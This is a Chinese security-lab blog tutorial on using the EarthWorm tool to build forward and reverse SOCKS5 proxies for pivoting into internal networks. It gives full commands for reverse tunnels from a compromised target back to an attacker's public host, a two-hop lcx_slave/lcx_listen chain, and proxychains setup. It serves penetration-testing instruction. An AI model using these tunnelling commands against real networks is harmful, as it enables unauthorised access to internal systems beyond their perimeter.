使用EW作Socks5代理进行内网穿透

网安引领时代,弥天点亮未来   

简介

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。

主页:http://rootkiter.com/EarthWorm/

 

ew项目地址:

实验环境

【使用场景】

普通网络环境:

1. 目标网络边界存在公网IP且可任意开监听端口:

a)./ew -s ssocksd -l 8888 开启 8888 端口的 socks 代理

b) 攻击机通过访问 目标主机8888 端口使用目标主机提供的代理

 

2. 目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理

a) ./ew -s rcsocks -l 1080 -e 8888 // 在公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机

b) ./ew -s rssocks -d 1.1.1.1 -e 8888 // 将目标网络的可控边界主机反向连接公网主机8888端口

c) 攻击机可通过访问公网主机1080 端口使用 rssocks 主机提供的 socks5 代理服务

实验演示

使用EW做反向Socks5代理

1.在公网服务器上执行以下命令:

./ew_for_linux64-s rcsocks -l 1080 -e 1024

监听本机的1080端口转发到反连1024端口的主机

2.在目标机器执行以下命令

.\ew_for_Win.exe-s rssocks -d 97.xx.xx.23 -e 1024

通过socks隧道连接公网IP的1024端口

3.攻击机kali通过proxychins或者浏览器配置socks5代理访问目标内网机器。

第一种:使用socks代理访问目标内网

使用Python开启web服务

在kali上访问目标内网IP即可访问web服务

使用proxychins访问目标内网

编辑proxychins配置文件

vim /etc/proxychains.conf

然后访问使用proxychains代理访问 127.0.0.1, 就成功了:

二重网络环境:

攻击机:内网主机 kali A

攻击机:公网主机 debian B

目标主机A:目标网络的边界主机,无公网 IP,无法访问特定资源。

目标主机B:目标网络内部主机,可访问特定资源,却无法回连公网。

A主机可直连 B主机

 

1.公网主机B添加转接隧道

./ew_for_linux64-s lcx_listen -l 1080 -e 1024

监听本机的1080端口转发到反连1024端口的主机

2.在内网主机B上利用 ssocksd 方式启动 9999 端口的 socks 代理

.\ew_for_Win.exe-s ssocksd -l 9999

3.在内网主机A上通过工具的lcx_slave方式,打通公网主机1024端口和主机B 9999之间的通讯隧道

.\ew_for_Win.exe-s lcx_slave -d 97.64.80.23 -e 1024 -f 192.168.245.131 -g 9999

4.内网攻击主机kali 通过访问公网主机1080端口来使用 内网主机B提供的 socks5 代理

【参数说明】

目前ew提供六种链路状态,可通过 -s 参数选定,分别为:

ssocksd  rcsocks   rssocks

lcx_slave  lcx_tran  lcx_listen

 

SOCKS5服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。

lcx链路状态用于打通测试主机同 socks 服务器之间的通路。

 

lcx类别管道:

lcx_slave该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。

lcx_tran该管道,通过监听本地端口接收代理请求,并转交给代理提供主机

lcx_listen该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。 

参考链接

http://rootkiter.com/EarthWorm/

https://www.cnblogs.com/Snowming04/p/11647248.html

 

知识分享完了

喜欢别忘了关注我们哦~

学海浩茫,予以风动,必降弥天之润!

   弥  天

安全实验室